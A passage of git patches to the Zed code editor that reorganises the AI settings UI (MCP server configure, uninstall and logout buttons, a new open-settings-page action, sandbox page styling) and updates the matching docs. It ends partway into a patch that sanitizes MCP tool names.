                 .map(|server_id| render_context_server(server_id, store, cx).into_any_element()),
-            || {
-                Divider::horizontal()
-                    .color(DividerColor::BorderFaded)
-                    .into_any_element()
-            },
+            || Divider::horizontal_dashed().into_any_element(),
         ))
         .into_any_element()
 }
@@ -213,22 +204,18 @@ fn render_context_server(
         None
     };
 
-    // Build gear menu. Pre-fill "Configure Server" from the raw configured
-    // settings (not the resolved runtime configuration) so the form is editable
-    // even when the settings contain invalid data (e.g. an unparsable URL) or
-    // the server is disabled / not yet started.
     let server_settings = store
         .read(cx)
         .settings_for_server(context_server_id)
         .cloned();
-    let gear_menu = render_gear_menu(
-        context_server_id,
-        store,
-        cx.entity().downgrade(),
-        server_settings.clone(),
-        provided_by_extension,
-        should_show_logout,
-    );
+    let configure_button = (!provided_by_extension).then(|| {
+        render_configure_button(
+            context_server_id,
+            cx.entity().downgrade(),
+            server_settings.clone(),
+        )
+    });
+    let uninstall_button = render_uninstall_button(context_server_id, provided_by_extension);
 
     // Build toggle switch
     let toggle_switch = render_toggle_switch(context_server_id, store, is_running);
@@ -241,7 +228,8 @@ fn render_context_server(
     };
 
     AiSettingItem::new(item_id, display_name, status, source)
-        .action(gear_menu)
+        .when_some(configure_button, |this, button| this.action(button))
+        .action(uninstall_button)
         .action(toggle_switch)
         .when_some(tool_label, |this, label| this.detail_label(label))
         .when_some(details, |this, details| this.details(details))
@@ -278,85 +266,51 @@ fn resolve_extension_display_name(id: &ContextServerId, cx: &App) -> Option<Shar
         })
 }
 
-fn render_gear_menu(
+fn render_configure_button(
     context_server_id: &ContextServerId,
-    store: &Entity<ContextServerStore>,
     settings_window: WeakEntity<SettingsWindow>,
     server_settings: Option<ContextServerSettings>,
-    provided_by_extension: bool,
-    should_show_logout: bool,
 ) -> impl IntoElement {
     let context_server_id = context_server_id.clone();
-    let store = store.clone();
 
-    PopoverMenu::new(SharedString::from(format!(
-        "mcp-gear-{}",
-        context_server_id.0
-    )))
-    .trigger_with_tooltip(
-        IconButton::new(
-            SharedString::from(format!("mcp-gear-btn-{}", context_server_id.0)),
-            IconName::Settings,
-        )
-        .icon_color(Color::Muted)
-        .icon_size(IconSize::Small)
-        .tab_index(0isize),
-        Tooltip::text("Configure MCP Server"),
+    IconButton::new(
+        format!("mcp-configure-btn-{}", context_server_id.0),
+        IconName::Settings,
     )
-    .anchor(gpui::Anchor::TopRight)
-    .menu({
-        move |window, cx| {
-            let context_server_id = context_server_id.clone();
-            let store = store.clone();
-            let settings_window = settings_window.clone();
-            let server_settings = server_settings.clone();
+    .icon_size(IconSize::Small)
+    .tab_index(0isize)
+    .tooltip(Tooltip::text("Configure MCP Server"))
+    .on_click(move |_event, window, cx| {
+        let transport = match &server_settings {
+            Some(ContextServerSettings::Http { .. }) => McpTransport::Http,
+            _ => McpTransport::Stdio,
+        };
+        let existing = server_settings
+            .clone()
+            .map(|settings| (context_server_id.clone(), settings));
+        settings_window
+            .update(cx, |this, cx| {
+                open_mcp_server_form(this, transport, existing, window, cx);
+            })
+            .log_err();
+    })
+}
 
-            Some(ContextMenu::build(window, cx, move |menu, _window, _cx| {
-                menu.when(!provided_by_extension, |this| {
-                    this.entry("Configure Server", None, {
-                        let settings_window = settings_window.clone();
-                        let context_server_id = context_server_id.clone();
-                        let server_settings = server_settings.clone();
-                        move |window, cx| {
-                            let transport = match &server_settings {
-                                Some(ContextServerSettings::Http { .. }) => McpTransport::Http,
-                                _ => McpTransport::Stdio,
-                            };
-                            let existing = server_settings
-                                .clone()
-                                .map(|settings| (context_server_id.clone(), settings));
-                            settings_window
-                                .update(cx, |this, cx| {
-                                    open_mcp_server_form(this, transport, existing, window, cx);
-                                })
-                                .log_err();
-                        }
-                    })
-                })
-                .when(should_show_logout, |this| {
-                    this.entry("Log Out", None, {
-                        let store = store.clone();
-                        let context_server_id = context_server_id.clone();
-                        move |_window, cx| {
-                            store.update(cx, |s, cx| {
-                                s.logout_server(&context_server_id, cx).log_err();
-                            });
-                        }
-                    })
-                })
-                // Only show a divider when there is an entry above "Uninstall".
-                // Extension servers have neither "Configure Server" nor "Log Out".
-                .when(!provided_by_extension || should_show_logout, |this| {
-                    this.separator()
-                })
-                .entry("Uninstall", None, {
-                    let context_server_id = context_server_id.clone();
-                    move |_, cx| {
-                        uninstall_server(&context_server_id, provided_by_extension, cx);
-                    }
-                })
-            }))
-        }
+fn render_uninstall_button(
+    context_server_id: &ContextServerId,
+    provided_by_extension: bool,
+) -> impl IntoElement {
+    let context_server_id = context_server_id.clone();
+
+    IconButton::new(
+        format!("mcp-uninstall-btn-{}", context_server_id.0),
+        IconName::Trash,
+    )
+    .icon_size(IconSize::Small)
+    .tab_index(0isize)
+    .tooltip(Tooltip::text("Uninstall MCP Server"))
+    .on_click(move |_event, _window, cx| {
+        uninstall_server(&context_server_id, provided_by_extension, cx);
     })
 }
 
@@ -432,7 +386,6 @@ fn render_status_details(
                 feedback_base()
                     .child(
                         h_flex()
-                            .pr_4()
                             .min_w_0()
                             .w_full()
                             .gap_2()
@@ -475,7 +428,6 @@ fn render_status_details(
                 feedback_base()
                     .child(
                         h_flex()
-                            .pr_4()
                             .min_w_0()
                             .w_full()
                             .gap_2()
@@ -509,7 +461,6 @@ fn render_status_details(
             feedback_base()
                 .child(
                     h_flex()
-                        .pr_4()
                         .min_w_0()
                         .w_full()
                         .gap_2()
@@ -529,7 +480,6 @@ fn render_status_details(
         ContextServerStatus::Authenticating => Some(
             h_flex()
                 .mt_1()
-                .pr_4()
                 .min_w_0()
                 .w_full()
                 .gap_2()
@@ -541,11 +491,32 @@ fn render_status_details(
                 )
                 .into_any_element(),
         ),
+        ContextServerStatus::Running if should_show_logout => {
+            let store = store.clone();
+            let context_server_id = context_server_id.clone();
+            Some(
+                h_flex()
+                    .py_1()
+                    .w_full()
+                    .justify_end()
+                    .child(
+                        Button::new("running-logout", "Log Out")
+                            .style(ButtonStyle::Outlined)
+                            .label_size(LabelSize::Small)
+                            .on_click(move |_event, _window, cx| {
+                                store.update(cx, |s, cx| {
+                                    s.logout_server(&context_server_id, cx).log_err();
+                                });
+                            }),
+                    )
+                    .into_any_element(),
+            )
+        }
         _ => None,
     }
 }
 
-fn render_add_server_popover(
+pub(crate) fn render_add_server_popover(
     settings_window: &SettingsWindow,
     window: &mut Window,
     cx: &mut Context<SettingsWindow>,
diff --git a/crates/settings_ui/src/pages/sandbox_settings.rs b/crates/settings_ui/src/pages/sandbox_settings.rs
index d5ee3c549032bb..9ae15eb738e95a 100644
--- a/crates/settings_ui/src/pages/sandbox_settings.rs
+++ b/crates/settings_ui/src/pages/sandbox_settings.rs
@@ -10,8 +10,6 @@ use util::ResultExt as _;
 use crate::SettingsWindow;
 use crate::components::{SettingsInputField, SettingsSectionHeader};
 
-const SANDBOX_DISCLAIMER: &str = "Customize how the sandbox for the agents tool should behave.";
-
 const DOMAINS_DESCRIPTION: &str = "Each entry is an exact domain (github.com) or a leading-*. subdomain wildcard (*.npmjs.org). IP addresses and local domains are not allowed.";
 
 const WRITE_PATHS_DESCRIPTION: &str =
@@ -58,17 +56,9 @@ pub(crate) fn render_sandbox_settings_page(
         .pt_2p5()
         .px_8()
         .pb_16()
-        .gap_4()
+        .gap_6()
         .overflow_y_scroll()
         .track_scroll(scroll_handle)
-        .child(
-            Banner::new().child(
-                Label::new(SANDBOX_DISCLAIMER)
-                    .size(LabelSize::Small)
-                    .color(Color::Muted)
-                    .mt_0p5(),
-            ),
-        )
         .child(
             SwitchField::new(
                 "sandbox-enabled",
@@ -102,7 +92,7 @@ pub(crate) fn render_sandbox_settings_page(
         })
         .child(
             v_flex()
-                .gap_3()
+                .gap_4()
                 .child(SettingsSectionHeader::new("Network").no_padding(true))
                 .child(
                     SwitchField::new(
@@ -130,7 +120,7 @@ pub(crate) fn render_sandbox_settings_page(
         .child(Divider::horizontal())
         .child(
             v_flex()
-                .gap_3()
+                .gap_4()
                 .child(SettingsSectionHeader::new("Git").no_padding(true))
                 .child(
                     SwitchField::new(
@@ -151,14 +141,14 @@ pub(crate) fn render_sandbox_settings_page(
         .child(Divider::horizontal())
         .child(
             v_flex()
-                .gap_3()
-                .child(SettingsSectionHeader::new("Filesystem").no_padding(true))
+                .gap_4()
+                .child(SettingsSectionHeader::new("File System").no_padding(true))
                 .child(
                     SwitchField::new(
                         "sandbox-allow-fs-write-all",
-                        Some("Allow All Filesystem Writes"),
+                        Some("Allow All File System Writes"),
                         Some(
-                            "Let sandboxed commands write anywhere on the filesystem without prompting."
+                            "Let sandboxed commands write anywhere on the file system without prompting."
                                 .into(),
                         ),
                         permissions.allow_fs_write_all,
diff --git a/crates/settings_ui/src/settings_ui.rs b/crates/settings_ui/src/settings_ui.rs
index 991789eb5a7711..b371fb68ccbe30 100644
--- a/crates/settings_ui/src/settings_ui.rs
+++ b/crates/settings_ui/src/settings_ui.rs
@@ -51,7 +51,7 @@ use workspace::{
 };
 use zed_actions::{
     AGENT_SKILLS_SETTINGS_PATH, OpenProjectSettings, OpenSettings, OpenSettingsAt,
-    OpenSettingsAtTarget,
+    OpenSettingsAtTarget, OpenSettingsPage,
 };
 
 use crate::components::{
@@ -450,6 +450,15 @@ pub fn init(cx: &mut App) {
                     cx,
                 );
             })
+            .register_action(|_, action: &OpenSettingsPage, window, cx| {
+                let window_handle = window.window_handle().downcast::<MultiWorkspace>();
+                open_settings_editor_to_page(
+                    &action.page,
+                    action.target.as_ref().map(SettingsFileTarget::from),
+                    window_handle,
+                    cx,
+                );
+            })
             .register_action(|_, _: &OpenSettings, window, cx| {
                 let window_handle = window.window_handle().downcast::<MultiWorkspace>();
                 open_settings_editor(None, None, window_handle, cx);
@@ -669,30 +678,71 @@ pub fn open_settings_editor(
     );
 }
 
-fn open_settings_editor_at_target(
-    path: Option<&str>,
+fn select_settings_file_target(
+    target_file: SettingsFileTarget,
+    settings_window: &mut SettingsWindow,
+    window: &mut Window,
+    cx: &mut Context<SettingsWindow>,
+) {
+    let file_index = settings_window
+        .files
+        .iter()
+        .position(|(file, _)| match target_file {
+            SettingsFileTarget::User => matches!(file, SettingsUiFile::User),
+            SettingsFileTarget::Project(worktree_id) => file.worktree_id() == Some(worktree_id),
+        });
+    if let Some(file_index) = file_index {
+        settings_window.change_file(file_index, window, cx);
+    }
+}
+
+fn open_settings_editor_to_page(
+    page: &str,
     target_file: Option<SettingsFileTarget>,
     workspace_handle: Option<WindowHandle<MultiWorkspace>>,
     cx: &mut App,
 ) {
-    fn select_target_file(
-        target_file: SettingsFileTarget,
-        settings_window: &mut SettingsWindow,
-        window: &mut Window,
-        cx: &mut Context<SettingsWindow>,
-    ) {
-        let file_index = settings_window
-            .files
-            .iter()
-            .position(|(file, _)| match target_file {
-                SettingsFileTarget::User => matches!(file, SettingsUiFile::User),
-                SettingsFileTarget::Project(worktree_id) => file.worktree_id() == Some(worktree_id),
-            });
-        if let Some(file_index) = file_index {
-            settings_window.change_file(file_index, window, cx);
+    let page = page.to_string();
+    open_settings_editor_with(workspace_handle, cx, move |settings_window, window, cx| {
+        if let Some(target_file) = target_file {
+            select_settings_file_target(target_file, settings_window, window, cx);
         }
-    }
 
+        settings_window.opening_link = false;
+        settings_window.search_bar.update(cx, |editor, cx| {
+            editor.set_text(String::new(), window, cx);
+        });
+        for page_filter in &mut settings_window.filter_table {
+            page_filter.fill(true);
+        }
+        settings_window.has_query = false;
+        settings_window.filter_matches_to_file();
+
+        let Some(navbar_entry_index) = settings_window
+            .navbar_entries
+            .iter()
+            .position(|entry| entry.is_root && entry.title.eq_ignore_ascii_case(&page))
+        else {
+            log::error!("settings page not found: {page}");
+            return;
+        };
+
+        settings_window.open_and_scroll_to_navbar_entry(
+            navbar_entry_index,
+            None,
+            false,
+            window,
+            cx,
+        );
+    });
+}
+
+fn open_settings_editor_at_target(
+    path: Option<&str>,
+    target_file: Option<SettingsFileTarget>,
+    workspace_handle: Option<WindowHandle<MultiWorkspace>>,
+    cx: &mut App,
+) {
     /// Assumes a settings GUI window is already open
     fn open_path(
         path: &str,
@@ -740,7 +790,7 @@ fn open_settings_editor_at_target(
     let path = path.map(ToOwned::to_owned);
     open_settings_editor_with(workspace_handle, cx, move |settings_window, window, cx| {
         if let Some(target_file) = target_file {
-            select_target_file(target_file, settings_window, window, cx);
+            select_settings_file_target(target_file, settings_window, window, cx);
         }
         if let Some(path) = path {
             open_path(&path, settings_window, window, cx);
@@ -1772,6 +1822,12 @@ impl SettingsWindow {
         })
         .detach();
 
+        let language_model_registry = language_model::LanguageModelRegistry::global(cx);
+        cx.subscribe(&language_model_registry, |_, _, _event, cx| {
+            cx.notify();
+        })
+        .detach();
+
         cx.on_window_closed(|cx, _window_id| {
             if let Some(existing_window) = cx
                 .windows()
@@ -3651,6 +3707,9 @@ impl SettingsWindow {
         if let Some(current_sub_page) = self.sub_page_stack.last() {
             let is_skills_page =
                 current_sub_page.link.json_path == Some(AGENT_SKILLS_SETTINGS_PATH);
+            let is_external_agents_page = current_sub_page.link.json_path == Some("agent_servers");
+            let is_mcp_servers_page = current_sub_page.link.json_path == Some("context_servers");
+
             page_header = h_flex()
                 .w_full()
                 .min_w_0()
@@ -3701,6 +3760,12 @@ impl SettingsWindow {
                                         );
                                     })),
                             )
+                        })
+                        .when(is_external_agents_page, |this| {
+                            this.child(pages::render_add_agent_popover(self, window, cx))
+                        })
+                        .when(is_mcp_servers_page, |this| {
+                            this.child(pages::render_add_server_popover(self, window, cx))
                         }),
                 )
                 .into_any_element();
@@ -5227,6 +5292,7 @@ pub mod test {
         theme_settings::init(theme::LoadThemes::JustBase, cx);
         editor::init(cx);
         menu::init();
+        language_model::init(cx);
     }
 
     fn parse(input: &'static str, window: &mut Window, cx: &mut App) -> SettingsWindow {
diff --git a/crates/ui/src/components/ai/ai_setting_item.rs b/crates/ui/src/components/ai/ai_setting_item.rs
index 372ff75597dff7..f2b9abdd015ed4 100644
--- a/crates/ui/src/components/ai/ai_setting_item.rs
+++ b/crates/ui/src/components/ai/ai_setting_item.rs
@@ -21,9 +21,9 @@ impl AiSettingItemStatus {
             Self::Starting => "Server is starting.",
             Self::Running => "Server is active.",
             Self::Error => "Server has an error.",
-            Self::AuthRequired => "Authentication required.",
-            Self::ClientSecretRequired => "Client secret required.",
-            Self::Authenticating => "Waiting for authorization…",
+            Self::AuthRequired => "Authentication Required.",
+            Self::ClientSecretRequired => "Client Secret Required.",
+            Self::Authenticating => "Waiting for Authorization…",
         }
     }
 
@@ -198,6 +198,7 @@ impl RenderOnce for AiSettingItem {
         v_flex()
             .id(id)
             .min_w_0()
+            .py_2()
             .child(
                 h_flex()
                     .min_w_0()
diff --git a/crates/ui/src/components/ai/configured_api_card.rs b/crates/ui/src/components/ai/configured_api_card.rs
index 9e89acc4962ef0..d2ccc18d0e7f91 100644
--- a/crates/ui/src/components/ai/configured_api_card.rs
+++ b/crates/ui/src/components/ai/configured_api_card.rs
@@ -1,8 +1,9 @@
 use crate::{Tooltip, prelude::*};
-use gpui::{ClickEvent, IntoElement, ParentElement, SharedString};
+use gpui::{ClickEvent, ElementId, IntoElement, ParentElement, SharedString};
 
 #[derive(IntoElement, RegisterComponent)]
 pub struct ConfiguredApiCard {
+    id: ElementId,
     label: SharedString,
     button_label: Option<SharedString>,
     button_tab_index: Option<isize>,
@@ -12,8 +13,9 @@ pub struct ConfiguredApiCard {
 }
 
 impl ConfiguredApiCard {
-    pub fn new(label: impl Into<SharedString>) -> Self {
+    pub fn new(id: impl Into<ElementId>, label: impl Into<SharedString>) -> Self {
         Self {
+            id: id.into(),
             label: label.into(),
             button_label: None,
             button_tab_index: None,
@@ -52,6 +54,51 @@ impl ConfiguredApiCard {
     }
 }
 
+impl RenderOnce for ConfiguredApiCard {
+    fn render(self, _: &mut Window, cx: &mut App) -> impl IntoElement {
+        let button_label = self.button_label.unwrap_or("Reset Key".into());
+        let button_id = self.id;
+
+        h_flex()
+            .min_w_0()
+            .mt_0p5()
+            .p_1()
+            .flex_wrap()
+            .justify_between()
+            .rounded_md()
+            .border_1()
+            .border_color(cx.theme().colors().border_variant)
+            .bg(cx.theme().colors().background.opacity(0.5))
+            .child(
+                h_flex()
+                    .min_w_0()
+                    .gap_1()
+                    .child(Icon::new(IconName::Check).color(Color::Success))
+                    .child(Label::new(self.label)),
+            )
+            .child(
+                Button::new(button_id, button_label)
+                    .when_some(self.button_tab_index, |elem, tab_index| {
+                        elem.tab_index(tab_index)
+                    })
+                    .label_size(LabelSize::Small)
+                    .start_icon(
+                        Icon::new(IconName::Undo)
+                            .size(IconSize::Small)
+                            .color(Color::Muted),
+                    )
+                    .disabled(self.disabled)
+                    .when_some(self.tooltip_label, |this, label| {
+                        this.tooltip(Tooltip::text(label))
+                    })
+                    .when_some(
+                        self.on_click.filter(|_| !self.disabled),
+                        |this, on_click| this.on_click(on_click),
+                    ),
+            )
+    }
+}
+
 impl Component for ConfiguredApiCard {
     fn scope() -> ComponentScope {
         ComponentScope::Agent
@@ -77,14 +124,14 @@ impl Component for ConfiguredApiCard {
             single_example(
                 "Default",
                 container()
-                    .child(ConfiguredApiCard::new("API key is configured"))
+                    .child(ConfiguredApiCard::new("default", "API key is configured"))
                     .into_any_element(),
             ),
             single_example(
                 "Custom Button Label",
                 container()
                     .child(
-                        ConfiguredApiCard::new("OpenAI API key configured")
+                        ConfiguredApiCard::new("custom-button-label", "OpenAI API key configured")
                             .button_label("Remove Key"),
                     )
                     .into_any_element(),
@@ -93,7 +140,7 @@ impl Component for ConfiguredApiCard {
                 "With Tooltip",
                 container()
                     .child(
-                        ConfiguredApiCard::new("Anthropic API key configured")
+                        ConfiguredApiCard::new("with-tooltip", "Anthropic API key configured")
                             .tooltip_label("Click to reset your API key"),
                     )
                     .into_any_element(),
@@ -101,7 +148,9 @@ impl Component for ConfiguredApiCard {
             single_example(
                 "Disabled",
                 container()
-                    .child(ConfiguredApiCard::new("API key is configured").disabled(true))
+                    .child(
+                        ConfiguredApiCard::new("disabled", "API key is configured").disabled(true),
+                    )
                     .into_any_element(),
             ),
         ];
@@ -109,48 +158,3 @@ impl Component for ConfiguredApiCard {
         example_group(examples).into_any_element()
     }
 }
-
-impl RenderOnce for ConfiguredApiCard {
-    fn render(self, _: &mut Window, cx: &mut App) -> impl IntoElement {
-        let button_label = self.button_label.unwrap_or("Reset Key".into());
-        let button_id = SharedString::new(format!("id-{}", button_label));
-
-        h_flex()
-            .min_w_0()
-            .mt_0p5()
-            .p_1()
-            .justify_between()
-            .rounded_md()
-            .flex_wrap()
-            .border_1()
-            .border_color(cx.theme().colors().border)
-            .bg(cx.theme().colors().background)
-            .child(
-                h_flex()
-                    .min_w_0()
-                    .gap_1()
-                    .child(Icon::new(IconName::Check).color(Color::Success))
-                    .child(Label::new(self.label)),
-            )
-            .child(
-                Button::new(button_id, button_label)
-                    .when_some(self.button_tab_index, |elem, tab_index| {
-                        elem.tab_index(tab_index)
-                    })
-                    .label_size(LabelSize::Small)
-                    .start_icon(
-                        Icon::new(IconName::Undo)
-                            .size(IconSize::Small)
-                            .color(Color::Muted),
-                    )
-                    .disabled(self.disabled)
-                    .when_some(self.tooltip_label, |this, label| {
-                        this.tooltip(Tooltip::text(label))
-                    })
-                    .when_some(
-                        self.on_click.filter(|_| !self.disabled),
-                        |this, on_click| this.on_click(on_click),
-                    ),
-            )
-    }
-}
diff --git a/crates/ui_input/src/input_field.rs b/crates/ui_input/src/input_field.rs
index e1c5138475816d..eadadbfa8a5c87 100644
--- a/crates/ui_input/src/input_field.rs
+++ b/crates/ui_input/src/input_field.rs
@@ -177,11 +177,7 @@ impl Render for InputField {
             .w_full()
             .gap_1()
             .when_some(self.label.clone(), |this, label| {
-                this.child(
-                    Label::new(label)
-                        .size(self.label_size)
-                        .color(Color::Default),
-                )
+                this.child(Label::new(label).size(self.label_size))
             })
             .child(
                 h_flex()
diff --git a/crates/zed_actions/src/lib.rs b/crates/zed_actions/src/lib.rs
index 0fe1b3fba01002..9d47f2724064f7 100644
--- a/crates/zed_actions/src/lib.rs
+++ b/crates/zed_actions/src/lib.rs
@@ -149,6 +149,18 @@ pub struct OpenSettingsAt {
     pub target: Option<OpenSettingsAtTarget>,
 }
 
+#[derive(PartialEq, Clone, Debug, Deserialize, JsonSchema, Action)]
+#[action(namespace = zed)]
+#[serde(deny_unknown_fields)]
+pub struct OpenSettingsPage {
+    /// A settings page title (e.g. `AI`).
+    pub page: String,
+    /// The settings file to select before opening `page`. When omitted, the
+    /// existing settings file selection is preserved.
+    #[serde(default)]
+    pub target: Option<OpenSettingsAtTarget>,
+}
+
 /// `OpenSettingsAt` path of the agent skills page in the settings UI.
 pub const AGENT_SKILLS_SETTINGS_PATH: &str = "agent.skills";
 
diff --git a/docs/src/ai/agent-settings.md b/docs/src/ai/agent-settings.md
index 3919ebc24d007e..6c29cc6dd102ab 100644
--- a/docs/src/ai/agent-settings.md
+++ b/docs/src/ai/agent-settings.md
@@ -1,19 +1,20 @@
 ---
 title: Agent Settings - Zed
-description: Map the Agent Settings panel to Zed AI setup pages for LLM providers, External Agents, MCP servers, and related settings.
+description: Map the AI settings pages to Zed AI setup for LLM providers, External Agents, MCP servers, and related settings.
 ---
 
 # Agent Settings
 
-Agent Settings is the in-panel configuration view for model providers, External Agents, and MCP servers. Open it with {#action agent::OpenSettings} or from the top-right menu in the [Agent Panel](./agent-panel.md).
+Agent Settings live in the **AI** section of the Settings Editor, which configures model providers, External Agents, and MCP servers.
+Open it with {#action agent::OpenSettings} (also available from the top-right menu in the [Agent Panel](./agent-panel.md)), which takes you straight to the AI page.
+You can also reach the same page with {#action zed::OpenSettings} and selecting **AI** in the sidebar.
 
-Agent Settings is different from the Settings Editor.
+Within the AI page, LLM Providers, External Agents, and MCP Servers each open as their own sub-page under the **General** section.
 
-| Surface              | Opens with                      | Use it for                                                                           |
-| -------------------- | ------------------------------- | ------------------------------------------------------------------------------------ |
-| Agent Settings panel | {#action agent::OpenSettings}   | LLM providers, External Agents, MCP servers                                          |
-| Settings Editor      | {#action zed::OpenSettings}     | General Zed settings, `disable_ai`, tool permissions, edit prediction provider setup |
-| Settings file        | {#action zed::OpenSettingsFile} | Direct JSON edits and settings not exposed in UI                                     |
+| Surface         | Opens with                      | Use it for                                                                  |
+| --------------- | ------------------------------- | --------------------------------------------------------------------------- |
+| Settings Editor | {#action agent::OpenSettings}   | AI settings: LLM providers, External Agents, MCP servers, and related pages |
+| Settings file   | {#action zed::OpenSettingsFile} | Direct JSON edits and settings not exposed in UI                            |
 
 For general settings mechanics, see [Configuring Zed](../configuring-zed.md).
 
@@ -95,23 +96,25 @@ For setup details and support boundaries, see [External Agents](./external-agent
 
 ## MCP Servers {#mcp-servers}
 
-The `Model Context Protocol (MCP) Servers` section configures MCP servers connected to Zed.
+The `MCP Servers` page configures Model Context Protocol servers connected to Zed.
 
-Use `Add Server` to:
+Use `Add Server` (in the page header) to:
 
-- `Add Custom Server`
+- `Add Local Server`
+- `Add Remote Server`
 - `Install from Extensions`
 
-Each configured server can expose actions such as:
+Each configured server row exposes:
 
-- `Configure Server`
-- `View Tools`
+- a `Configure` (gear) button to edit the server
+- an `Uninstall` (trash) button to remove it
+- a toggle to enable or disable it
 
 For MCP setup, auth, server status, and agent-path boundaries, see [MCP](./mcp.md).
 
 ## Related Configuration {#related-configuration}
 
-Some AI settings are not configured in the Agent Settings panel:
+Some AI settings are not configured on the AI settings pages:
 
 | Task                                                         | Go to                                          |
 | ------------------------------------------------------------ | ---------------------------------------------- |
diff --git a/docs/src/ai/external-agents.md b/docs/src/ai/external-agents.md
index dd418c32217c65..b8ed6aa5ad1c2b 100644
--- a/docs/src/ai/external-agents.md
+++ b/docs/src/ai/external-agents.md
@@ -17,7 +17,7 @@ For Zed-hosted models and Zed-managed AI features, see [AI Privacy](./privacy-an
 
 The ACP Registry is the primary way to install common External Agents in Zed.
 
-Open the registry with {#action zed::AcpRegistry}, or open [Agent Settings](./agent-settings.md) with {#action agent::OpenSettings}, click `Add Agent`, and choose `Install from Registry`.
+Open the registry with {#action zed::AcpRegistry}, or open [Agent Settings](./agent-settings.md) with {#action agent::OpenSettings}, go to the **External Agents** page, click `Add Agent`, and choose `Install from Registry`.
 
 After installation, the agent appears in the new-thread menu in the Agent Panel and Threads Sidebar.
 
@@ -130,7 +130,7 @@ Zed LLM provider API keys saved in the local keychain are not automatically the
 
 Use custom agents when you are developing an ACP-compatible agent or need to run an agent that is not in the registry.
 
-Open [Agent Settings](./agent-settings.md), click `Add Agent`, and choose `Add Custom Agent`. Zed opens your settings file with an `agent_servers` entry.
+Open [Agent Settings](./agent-settings.md), go to the **External Agents** page, click `Add Agent`, and choose `Add Custom Agent`. Zed opens your settings file with an `agent_servers` entry.
 
 ```json [settings]
 {
diff --git a/docs/src/ai/mcp.md b/docs/src/ai/mcp.md
index 30317dfad968ff..83c456be0bbd5b 100644
--- a/docs/src/ai/mcp.md
+++ b/docs/src/ai/mcp.md
@@ -35,7 +35,7 @@ Many MCP servers are available as extensions. Find them via:
 
 1. [the Zed website](https://zed.dev/extensions?filter=context-servers)
 2. in the app, open the Command Palette and run the {#action zed::Extensions} action
-3. in the app, go to the Agent Panel's top-right menu and look for the "Install New Servers…" menu item under the "MCP Servers" section
+3. in the app, open **Settings → AI → MCP Servers**, click `Add Server`, and choose `Install from Extensions`
 
 Popular servers available as an extension include:
 
@@ -72,7 +72,7 @@ You can connect both local and remote MCP servers easily utilizing the MCP serve
 }
 ```
 
-Alternatively, you can also open the modal by accessing the Agent Panel's Settings view (also accessible via the {#action agent::OpenSettings} action) and clicking the "Add Custom Server" button there.
+Alternatively, you can open the modal from **Settings → AI → MCP Servers** (also accessible via the {#action agent::OpenSettings} action, then selecting `MCP Servers`) and clicking the `Add Server` button in the page header, then choosing `Add Local Server` or `Add Remote Server`.
 
 > Note: When a remote MCP server has no configured `"Authorization"` header, Zed will prompt you to authenticate yourself against the MCP server using the standard MCP OAuth flow.
 
@@ -87,7 +87,7 @@ For example, the GitHub MCP extension requires you to add a [Personal Access Tok
 
 In the case of custom servers, make sure you check the provider documentation to determine what type of command, arguments, and environment variables need to be added to the JSON.
 
-To check if your MCP server is properly configured, go to the Agent Panel's settings view and watch the indicator dot next to its name.
+To check if your MCP server is properly configured, open **Settings → AI → MCP Servers** and watch the indicator dot next to its name.
 If it's running correctly, the indicator will be green and its tooltip will say "Server is active".
 If not, other colors and tooltip messages will indicate what is happening.
 
diff --git a/docs/src/ai/use-a-gateway.md b/docs/src/ai/use-a-gateway.md
index 400b1a25767207..e010cfe8159aa2 100644
--- a/docs/src/ai/use-a-gateway.md
+++ b/docs/src/ai/use-a-gateway.md
@@ -20,7 +20,7 @@ Use OpenRouter when you want to route Zed AI features through OpenRouter.
 
 1. Visit [OpenRouter](https://openrouter.ai) and create an account.
 2. Generate an API key from your [OpenRouter keys page](https://openrouter.ai/keys).
-3. Open Agent Settings with {#action agent::OpenSettings} and go to the OpenRouter section.
+3. Open **Settings → AI → LLM Providers** with {#action agent::OpenSettings} and find the OpenRouter row.
 4. Enter your OpenRouter API key.
 
 Zed also reads `OPENROUTER_API_KEY` from the local Zed process environment.
@@ -104,7 +104,7 @@ Supported fields include `order`, `allow_fallbacks`, `require_parameters`, `data
 Use Vercel AI Gateway when you want to route Zed AI features through Vercel.
 
 1. Create an API key from your Vercel AI Gateway keys page.
-2. Open Agent Settings with {#action agent::OpenSettings} and go to the Vercel AI Gateway section.
+2. Open **Settings → AI → LLM Providers** with {#action agent::OpenSettings} and find the Vercel AI Gateway row.
 3. Enter your Vercel AI Gateway API key.
 
 Zed also reads `VERCEL_AI_GATEWAY_API_KEY` from the local Zed process environment.
diff --git a/docs/src/ai/use-api-access.md b/docs/src/ai/use-api-access.md
index 52b2eaf9605616..0ddf85ba33b77c 100644
--- a/docs/src/ai/use-api-access.md
+++ b/docs/src/ai/use-api-access.md
@@ -41,7 +41,7 @@ agent paths and model access paths.
 
 ## API Keys and Environment Variables {#api-keys}
 
-Most API-access providers can be configured in Zed's Agent Settings panel with {#action agent::OpenSettings}. Keys saved through Zed are stored in the system keychain, not in `settings.json`.
+Most API-access providers can be configured on the **Settings → AI → LLM Providers** page with {#action agent::OpenSettings}. Keys saved through Zed are stored in the system keychain, not in `settings.json`.
 
 Zed also reads provider-specific environment variables. Non-empty environment variables take precedence over keychain values. If a key comes from an environment variable, unset the variable and restart Zed to stop using it.
 

From 03125da5444120ed4bc015366987859e19c663f0 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Wed, 1 Jul 2026 09:41:49 +0200
Subject: [PATCH 184/772] agent: Sanitize MCP tool names for stricter provider
 naming rules (#60154)

Closes #59038

Release Notes:

- agent: Fixed an issue where MCP servers with specific tool names would
cause errors when using Anthropic/OpenAI models
---
 crates/agent/src/tests/mod.rs | 91 +++++++++++++++++++++++++++++++++++
 crates/agent/src/thread.rs    | 42 +++++++++++-----
 2 files changed, 120 insertions(+), 13 deletions(-)

diff --git a/crates/agent/src/tests/mod.rs b/crates/agent/src/tests/mod.rs
index 11f542ee8e6cf0..55e492c3b3f60c 100644
--- a/crates/agent/src/tests/mod.rs
+++ b/crates/agent/src/tests/mod.rs
@@ -1633,6 +1633,97 @@ async fn test_mcp_tools(cx: &mut TestAppContext) {
     events.collect::<Vec<_>>().await;
 }
 
+#[gpui::test]
+async fn test_mcp_tool_names_are_sanitized_for_providers(cx: &mut TestAppContext) {
+    let ThreadTest {
+        model,
+        thread,
+        context_server_store,
+        fs,
+        ..
+    } = setup(cx, TestModel::Fake).await;
+    let fake_model = model.as_fake();
+
+    fs.insert_file(
+        paths::settings_file(),
+        json!({
+            "agent": {
+                "tool_permissions": { "default": "allow" },
+                "profiles": {
